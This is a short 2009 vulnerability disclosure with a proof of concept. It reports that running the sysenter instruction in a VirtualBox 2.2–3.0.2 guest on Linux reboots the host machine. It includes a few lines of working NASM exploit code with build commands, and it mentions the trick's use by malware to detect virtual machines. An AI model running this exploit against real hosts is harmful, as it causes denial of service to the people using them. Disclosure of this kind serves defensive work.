34 lines
No EOL
850 B
Text
34 lines
No EOL
850 B
Text
Sun's VirtualBox host reboot PoC
|
|
by Tadas Vilkeliskis <vilkeliskis.t@gmail.com>
|
|
Disclosure made at 2009-08-01
|
|
|
|
VULNERABILITY INFORMATION
|
|
|
|
Remotely exploitable: no
|
|
Locally exploitable: yes
|
|
Affected versions: 2.2 - 3.0.2 r49928 for Linux
|
|
|
|
VULNERABILITY DESCRIPTION
|
|
|
|
VirtualBox VM is unable to handle fast call to privilege level 0 system
|
|
procedures (sysenter). If sysenter instruction is executed on the guest
|
|
OS the host machine will reboot. The technique was tested on the
|
|
following guest OS: Windows XP, Windows 7 RC, Ubuntu 9.04. It is not
|
|
clear whether it is possible to execute arbitrary code on the host,
|
|
however this trick can be successfully used by malware as an anti-vm
|
|
trick.
|
|
|
|
POC
|
|
|
|
; nasm -f elf vmhostreboot.asm
|
|
; gcc vmhostreboot.o -o vmhostreboot
|
|
|
|
BITS 32
|
|
SECTION .text
|
|
GLOBAL main
|
|
|
|
main:
|
|
sysenter
|
|
ret
|
|
|
|
# milw0rm.com [2009-08-01] |